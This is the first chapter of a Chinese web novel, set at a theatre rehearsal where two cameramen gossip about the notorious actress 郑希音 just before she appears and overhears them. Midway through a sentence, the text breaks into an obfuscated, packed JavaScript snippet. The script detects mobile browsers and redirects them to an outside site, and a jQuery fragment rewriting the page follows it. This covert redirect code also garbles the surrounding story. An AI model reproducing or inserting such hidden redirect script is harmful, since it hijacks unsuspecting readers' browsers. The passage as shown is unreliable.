1. 第 1 章
作品:《她的二十七种死法》 “郑希音是个疯子。”
“这还用你告诉我?下一个!”
“郑希音,电影演技……”
“下一个下一个,我指的是最新啊,实时上榜的!”
“...郑希音脚踏两条船,郑希音知三当三,郑希音滚出演艺圈,郑希音……”
“OK停停停!”
高鹏飞连忙比划手势,阻止了小助理米燕对照手机再念下去。
富丽堂皇的剧场中央,琥珀色光线从圆弧形舞台落下,余光虚虚实实,映在他无比深皱的额角和鱼尾纹上。
米燕和司机吴峰悄悄对视一眼,默契地低头不说话。
只见高鹏飞扶着额头来回踱步,突然又问,“她人呢,到底去哪啦?”
米燕张了张嘴欲言又止,最后还是答,“刚刚你问过了,天台。”
“真是,我都被气糊涂了。”高鹏飞深吸几口气,转而质问的目光重盯向她,“你这个助理怎么当的,怎么都不跟着?”
米燕委屈开口,“她拿着烟上去的……”
高鹏飞顿时噎了噎,知道再说下去,纯属自己刻意为难了,无奈闭起眼睛。
手机铃声响起。
他连忙去摸口袋,抬头瞬间,米燕只模糊瞥见屏幕上闪过“综艺PD”几个字,下一秒,亮光就被毫不犹豫按灭。
高鹏飞深沉长叹口气,倾而,又似刚好想起什么,滑动点开手机。
快速按了几下,电话接通刹那,他陡然变换生意人嘴脸,“喂,郭总啊,诶没错是我,高鹏飞……”
听不清电话那头说了什么。
“是的是的,我们郑演员一直以来多亏郭总您照顾…啊对对,您看之前说的数字,我们再讨论讨论,这个关键词热搜,还是帮忙撤了……”
舞台灯光变换,调试的背景音乐突然停止,话剧《巴黎圣母院》第一场排练近似尾声。
高鹏飞反应很快地手捂话筒,收敛声音,微弓腰,预备穿过一排排红布座椅,朝后门走去。
米燕和吴峰同步松了口气。
然屁股没及挨上椅凳,VIP首席,导演的话筒顷刻响起——
“休息十分钟,下一场,卡西莫多,弗比斯,爱斯梅拉达……演员做好准备。”
听到角色名,如闻魔咒般,米燕条件反射地站直身体,刚好对上了还没走远,高鹏飞凶神恶煞回头的表情。
“还愣着干什么,还不快去找!”
—
一楼观众厅的后门关了又开。
话剧排练休息时间,察觉背后一抹阴影靠近,中心过道,何川从架好的摄影机后抬头。
黑色棒球帽檐压得很低,几乎挡住来人大半头发和脸颊,一身再简单不过的素黑穿搭,以至他瘦高的身姿,也融在剧场明灭暗淡的光氛里。
只有当他弯腰查看机器,微光下侧脸,才暴露几分不同寻常,雕琢的层次和骨骼感。
单就初印象,是个冷淡寡言,没什么特殊存在感的青年。
“接完电话啦?”何川问。
青年低声,“嗯。”
将移动的拍摄机器交给他,何川无聊刷手机的空闲,偶然想起作为公司老人,有必要稍微关心和提点一下后辈新人。
于是他又问:“你去的哪,没撞见郑希音吧?”
青年似乎顿了一瞬,帽檐下,磁冷低沉的嗓音,“没有,去的天台。”
“那就好,”手机莹白的光亮,从何川光洁的发际线,划过他正儿八经强调的眉眼,“郑希音是个疯子,千万记住别靠近她——”
“否则,会变的不幸。”
正常人一般都会问为什么。
余光里,青年手拖相机调整焦距的动作,只是轻微停顿。
何川以为他不信。
十个小时前,还翘腿坐办公室,悠闲和同事闲磕八卦的他,突然接到跟拍郑希音话剧的任务,也是这般动弹不得的反应。
部门新来的剪辑妹妹,妥妥的E人,不懂就问,“郑希音啊,我知道她,话剧界的独角戏女王,她的代表作《一个人消失在世上》我还看过,名气不小呢!这次《巴黎圣母院》这么经典的话剧,不是很好的项目么?”
由享誉法国的编剧拉斐尔,和中国著名导演冯青,联合改创的话剧《巴黎圣母院》,将于近日在南华市笙海大剧院上演,从创作初期就声势浩大,不仅因其包含经典的IP,更是恰逢中法建交60周年,具有文化友好交流的代表和纪念意义。
据说上面很重视这次合作,更有计划,为其特制官方纪录片。
而京世传媒作为此项目的资方之一,自然不敢轻视,立即安排专业摄影进行跟踪录制。
无论从何角度都增光添彩的任务,然而,当听说既定的女主演是郑希音,这块香饽饽,突然就成了烫手山芋。
郑希音,话剧业独一无二的女王,“黑红”届首当其冲的元老,著名的“惹祸搞事第一人”。
专业过硬,却疯名在外。
此时此刻,正对热搜榜上,十条便占了五条的名字,何川垂丧地跌到滑椅里,深叹口气。
“不是,究竟为什么呀?”剪辑妹妹还是一头雾水。
“这么跟你说吧,”何川薅了薅所剩无几的头发,开始举例子,“在我前一批进入公司的摄影前辈,跟拍田杰(著名歌唱家)的升了经理,跟赵栖影(舞蹈演员)的旅居巴黎,跟洪柏利(钢琴家)的已自创工作室,只有跟郑希音的,自请流放菲律宾……”
他无力拍了拍她肩膀,“你自行体会一下。”
“真的假的?”剪辑妹妹满脸震惊。
其他同事配合点头总结,“郑希音就是有这样的潜质。”
每当你看见舞台上的她光芒四射,前途无量,下一幕,她总会用现实的大耳刮子,抽的你措手不及。
就拿最近的新闻来说吧——
初出茅庐,便在各大领奖台崭露头角的郑希音,毫不留情拒绝后来一众影视导演的邀约,因此被粉丝套上“不屑进入影视圈”的傲慢光环。
去年却不知为何,她突然官宣参演国际名导王尔玉的电影《自白》,还被网友疯狂嘲笑打脸。
然电影于香港首映不到半月,票房过亿,好评如潮,郑希音的惊艳演技也成了彼时最热话题,前不久开春,更疯狂一举拿下香港金球奖最佳新人和最佳女配两份殊荣。
就在所有人瞩目以待,“郑希音事业高光”的记者通稿还墨迹未干,与电影小生和流量鲜肉“三角之争”的丑闻铺天盖爆出来,瞬间,郑希音又陷入“私生活混乱”的流言蜚语和漩涡中心,简直让人大跌眼镜!
眼看网上的争议屡禁不止,愈演愈烈,话剧演出怎可能不受影响?
只怕这一番下来,好处没捞到,又是白费功夫。
何川垂丧脑袋,认命般摇了摇头,外套懒散搭上肩膀,从座位站了起来。
“不带助理吗?”同事幸灾乐祸问。
他有气无力翻白眼,“你觉得谁愿意跟我去?”
这种情况,当然只能祸害新人。
直觉有热闹可以看,剪辑妹妹乐呵呵跟他跑上前。
—
穿过玻璃门重重的剪辑室,和滴滴作响的打印区,培训室门打开,未出任务的新人正齐刷刷站成一排。
不巧,电影组和综艺组也要选人。
三位同期的摄影师于是碰头——
“这次采访的影导人很大牌,我要挑个圆滑点的。”
“我出外景,得来几个壮实的。”
“何川你呢?”
“我?我……郑希音。”
突然诡异的静默。
几秒后,率先发言的电影组摄影师双手一拍,“OK,那还是按照我的老方法来。”
他清了清嗓子,故意严肃咳嗽几声,那头,剪辑妹妹和新人们连忙收起玩笑,停止了叽叽喳喳。
摄影师面对众人开口:“这样,我先问几个问题,符合条件的,请不要犹豫主动站出来——”
“第一,有亲戚或家人正在本公司任职的?”
一片鸦雀无声。
新人们面面相觑,不懂这突如其来的问话,要闹哪出。
摄影师于是假装不耐烦,“赶紧的,现在不承认,以后再被发现,问题可就大了哦。”
身着卡其色连帽卫衣的姑娘抱着手,立马上前一步,“我舅舅在公司。”
“哪个部门,叫什么?”
“没有部门……叫王世豪……”
“哎呦王总!原来你是王总的外甥女啊,怎么不早说呢,来来来站累了吧,先坐下。”摄影师精彩展示一秒变脸。
过于熟悉的场面了,何川提着眉梢撇过头,试图躲避新人们纷纷飘过的无语眼神。
片刻热聊过去,下个问题,“有亲戚或家人从事本行工作的?”
这回染了一头金毛的男生站出来。
“你什么情况?”
“我二叔在新飞影视公司。”
“新飞?不错,和京世齐名的大公司呢,也是总经理?”
“不是,跟我一样,实习。”
“哦,这样啊~”
“不过我爷爷是总裁。”
“......”
又一番热情的嘘寒问暖后,第三个问题,“有亲戚或家人任职机关或事业单位的?”
......
这样一路问到最后,培训室一改初起冷清的气氛,热闹融融。
新人们如愿以偿划到第一志愿的团队,电影和综艺组也喜笑颜开,各自领了组员离开。
很快,四四方方的空间,只剩下最后一个头戴棒球帽的青年,和何川面对面,大眼瞪小眼。
剪辑妹妹走到门口,趁何川不注意,还不忘好心回头,冲他做抹脖子的表情,口
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958025|193220||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
型疯狂暗示,“NONO,菲律宾”。
鸦黑帽檐下,青年一贯平静无澜的嘴角,无声卷了卷。
—
“所以啊,千万记住我说的,都是为你们好……”
突然一片漆黑的剧院,只有舞台连接坐席的顶部,点亮几盏缥缈橘光。
休息结束,手机塞进口袋,何川手扶摄影机,预备重新投入工作,一边不忘总结提醒。
背后依旧无声无息。
这个名叫段方禹的青年,样貌不错,个子挺高,做起事情也利落不马虎,唯一不足就是差了背景,薄薄的履历一纸到头,同他整个人样一穷二白,若非有个好学校撑腰,恐怕连京世的大门都迈不进。
虽然他沉默寡言,不过好在还蛮会倾听的,以至不知不觉短短时间,何川就忘记上下级嫌隙,和他拉扯了许多。
就在何川以为对方沉默,是代表虚心接受的时候,但没想到,青年会问——
“既然如此,前辈没有打算过吗?”
“打算什么?”
“自请去菲律宾的事。”
何川明显愣住了,“我为什么?”
“还能为什么……”段方禹断句停顿的一瞬,却莫明,让何川的呼吸提了起来。
因为人情世故?因为无势无权?
青年低着头,剧场忽明忽暗的光线里,只依稀看得见,他清冷凌厉的下颚,“因为郑希音是个疯子,而你会变的不幸——”
“不是刚刚你一直告诉我的。”
他回答的理所当然,何川却噎得哑口无言。
万万没想到,会被一个新人,用他自己的话堵住喉咙。
一时想不到漂亮话反驳,何川只能凭借怒火掩盖事实,“你在嘲讽我?”
“不是,”段方禹摇了摇头,像完全意料不到,他会这么理解,“只是单纯疑惑,毕竟我和前辈,同病相怜。”
他把“同病相怜”四个字,说的很缓很慢,却又轻平。
仿佛根本上事不关己。
若仔细听,何川不难发现,只可惜前辈的架子端久了,他并不相信一个初来乍到的新人有胆量叫板,只当段方禹出自无知。
因此语气跟着缓和了些,何川说,“你刚来能懂啥,我又没说错,郑希音不是疯子是什么?”
他极力证明似地,抬手朝前一指,“不然,你有见过哪个剧场,排练马上开始,女主演却迟迟找不到人的情况吗?”
像映衬他的话,前排导演话筒里,刚好出现对女主演的传唤。
舞台上下,所有人的目光,四面八方纷纷扫射。
电话无人接听,去天台寻找的米燕和吴峰也无功而返,高鹏飞扶着座椅,焦头烂额之际,对上数道戏谑讽笑的视线。
与郑希音竞争结仇的,早就看她不顺眼的,还有明里友好暗里怒骂,等着看笑话的……
数不胜数。
导演最后通牒压下来,高鹏飞脑海,只剩一条路:以死谢罪。
然而这时——
“噗呲~”
一道短促而清甜的嗤笑,从遥远未知的后排,穿过重重叠叠的席位,穿过偌大宽阔的剧院中空。
循声望去,却没发现任何踪影,高鹏飞还以为自己幻听。
直至舞台水银色的追光开启,像一道粼粼波束,向上推晃,摆动,最后定格。
万千纤尘闪烁,落在她的身上。
她站了起来,火焰般绽放的红裙,贴合在脂玉白皙的肌肤,恰到好处纤细修长的颈部线条,随踏下阶梯的起伏,在跳跃的长发波浪里,若隐若现。
如同开在黑暗旷野,一枝绚烂无比、璀璨无双的花朵。
像玫瑰,也像罂粟。
这就是郑希音。
何川就这样眼睁睁看着,看郑希音一步步走近,从原来临近他们,只有不及三排座位的距离。
她的步调轻佻嫚媚,她的眼神缠绵悱恻,而她的手指微微抬起,玩闹般,游曳跳动在红椅和空气中间,像刽子手绝杀前,最后狂欢的舞步。
然后妖娆利落地,穿过他们。
血色随她火红荡漾的裙摆,浮起,垂落,然后蔓延。
空气里弥留的,是她浓烈残酷的香水气息。
不知不觉,何川抓住椅背的手,已紧张到开始发颤,“完了完了,她什么时候出现在那的,该不会,我们说的,她全都听见了吧?!”
水月银白的光色,伴随红裙擦肩,一闪而过段方禹清绝的半张脸。
恰如抛入星湖的一块玉石,粼粼闪动之后,重又恢复沉寂,掩没在如夜雾的朦胧里。
也许何川再问得早一点,也许他并未抬头看,也许没有对上她目空一切的笑眼,也许他会回答没有……
后退一步,段方禹掂着相机的胳膊垂落,手心抵在椅背,摇了摇头。
“她听见了。”
也许,远不止这些。

